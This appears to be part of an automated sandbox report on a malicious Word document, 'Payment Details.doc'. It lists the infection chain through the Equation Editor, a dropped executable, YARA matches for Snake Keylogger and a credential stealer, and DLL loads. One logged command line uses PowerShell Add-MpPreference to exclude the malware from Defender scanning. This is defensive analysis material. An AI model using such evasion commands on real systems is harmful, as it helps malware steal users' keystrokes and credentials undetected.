Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_008D5330 9_2_008D5330
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_008DDA30 9_2_008DDA30
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_008D6D30 9_2_008D6D30
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_008D7A48 9_2_008D7A48
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_008D9448 9_2_008D9448
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_008DF740 9_2_008DF740
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_008D6D40 9_2_008D6D40
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_008D8740 9_2_008D8740
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_008D305F 9_2_008D305F
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_008DAA59 9_2_008DAA59
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_008D9458 9_2_008D9458
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_008D8750 9_2_008D8750
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_008D3D69 9_2_008D3D69
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_008DAA68 9_2_008DAA68
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_008DC468 9_2_008DC468
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_008DB760 9_2_008DB760
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_008D3D78 9_2_008D3D78
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_008DC478 9_2_008DC478
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_008DE978 9_2_008DE978
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_008D5778 9_2_008D5778
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_008DDE78 9_2_008DDE78
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_008DB770 9_2_008DB770
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_008D3070 9_2_008D3070
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_008D4A70 9_2_008D4A70
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_009457B8 9_2_009457B8
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_009450D8 9_2_009450D8
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_009449F8 9_2_009449F8
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_00944318 9_2_00944318
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_00943C38 9_2_00943C38
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_00943558 9_2_00943558
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_00940040 9_2_00940040
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_00942E78 9_2_00942E78
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_009457A8 9_2_009457A8
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_00940ED8 9_2_00940ED8
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_009450C8 9_2_009450C8
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_00942AF9 9_2_00942AF9
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_009449E9 9_2_009449E9
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_00942B00 9_2_00942B00
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_00944308 9_2_00944308
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_00942130 9_2_00942130
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_00942121 9_2_00942121
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_00943C28 9_2_00943C28
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_0094354B 9_2_0094354B
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_00942E68 9_2_00942E68
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\HgCppsoKmxQq[1].exe 516FFDB4EF149292E235BEA6B676674D973E52C3382FDD3C40F85245F9E564BA
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe 516FFDB4EF149292E235BEA6B676674D973E52C3382FDD3C40F85245F9E564BA
Yara signature match
Source: Payment Details.doc, type: SAMPLE Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: 5.2.ncfplgpeter20306.exe.3362a30.6.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.ncfplgpeter20306.exe.3362a30.6.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 5.2.ncfplgpeter20306.exe.3362a30.6.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.ncfplgpeter20306.exe.3362a30.6.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.ncfplgpeter20306.exe.31c8d18.8.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.ncfplgpeter20306.exe.3362a30.6.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.ncfplgpeter20306.exe.31c8d18.8.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 5.2.ncfplgpeter20306.exe.31c8d18.8.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 9.2.ncfplgpeter20306.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 9.2.ncfplgpeter20306.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 9.2.ncfplgpeter20306.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.ncfplgpeter20306.exe.31c8d18.8.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.ncfplgpeter20306.exe.31c8d18.8.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000009.00000002.906972286.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000005.00000002.395781634.00000000032DE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000005.00000002.395781634.0000000003139000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: ncfplgpeter20306.exe PID: 3444, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: ncfplgpeter20306.exe PID: 3520, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: HgCppsoKmxQq[1].exe.2.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: ncfplgpeter20306.exe.2.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 5.2.ncfplgpeter20306.exe.31c8d18.8.raw.unpack, COVID19.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.ncfplgpeter20306.exe.31c8d18.8.raw.unpack, VIPSeassion.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.ncfplgpeter20306.exe.31c8d18.8.raw.unpack, VIPSeassion.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.ncfplgpeter20306.exe.3362a30.6.raw.unpack, COVID19.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.ncfplgpeter20306.exe.3362a30.6.raw.unpack, VIPSeassion.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.ncfplgpeter20306.exe.3362a30.6.raw.unpack, VIPSeassion.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.ncfplgpeter20306.exe.5340000.9.raw.unpack, Uel8r1lQF2PkteGZrv.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 5.2.ncfplgpeter20306.exe.5340000.9.raw.unpack, Uel8r1lQF2PkteGZrv.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.ncfplgpeter20306.exe.5340000.9.raw.unpack, E0RYX9X2eibsstJT2l.cs Security API names: _0020.SetAccessControl
Source: 5.2.ncfplgpeter20306.exe.5340000.9.raw.unpack, E0RYX9X2eibsstJT2l.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.ncfplgpeter20306.exe.5340000.9.raw.unpack, E0RYX9X2eibsstJT2l.cs Security API names: _0020.AddAccessRule
Source: 5.2.ncfplgpeter20306.exe.33e7450.7.raw.unpack, E0RYX9X2eibsstJT2l.cs Security API names: _0020.SetAccessControl
Source: 5.2.ncfplgpeter20306.exe.33e7450.7.raw.unpack, E0RYX9X2eibsstJT2l.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.ncfplgpeter20306.exe.33e7450.7.raw.unpack, E0RYX9X2eibsstJT2l.cs Security API names: _0020.AddAccessRule
Source: 5.2.ncfplgpeter20306.exe.33e7450.7.raw.unpack, Uel8r1lQF2PkteGZrv.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 5.2.ncfplgpeter20306.exe.33e7450.7.raw.unpack, Uel8r1lQF2PkteGZrv.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: classification engine Classification label: mal100.troj.spyw.expl.evad.winDOC@11/14@26/9
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$yment Details.doc Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Mutant created: NULL
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVRA247.tmp Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................W..........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................c..........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................u..........................s............................(............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................(............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................a.g.a.i.n..........................................................s............................(............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................(............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1....................................s.................... .......(............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................(............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................(............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~...... .........................s....................$.......(............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................. .........................s............................(............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................+ .........................s............................(............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................7 .........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s....................2.......(............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................U .........................s............................(............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................g .........................s....................l.......(............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................s .........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.............................. .........................s............................(............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................. .........................s............................(............... Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: Payment Details.doc ReversingLabs: Detection: 44%
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe "C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe"
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe"
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process created: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe "C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe"
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process created: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe "C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe"
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe "C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process created: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe "C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process created: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe "C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe" Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64win.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: msi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dwmapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: version.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: secur32.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winhttp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: webio.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winnsi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: nlaapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: riched20.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
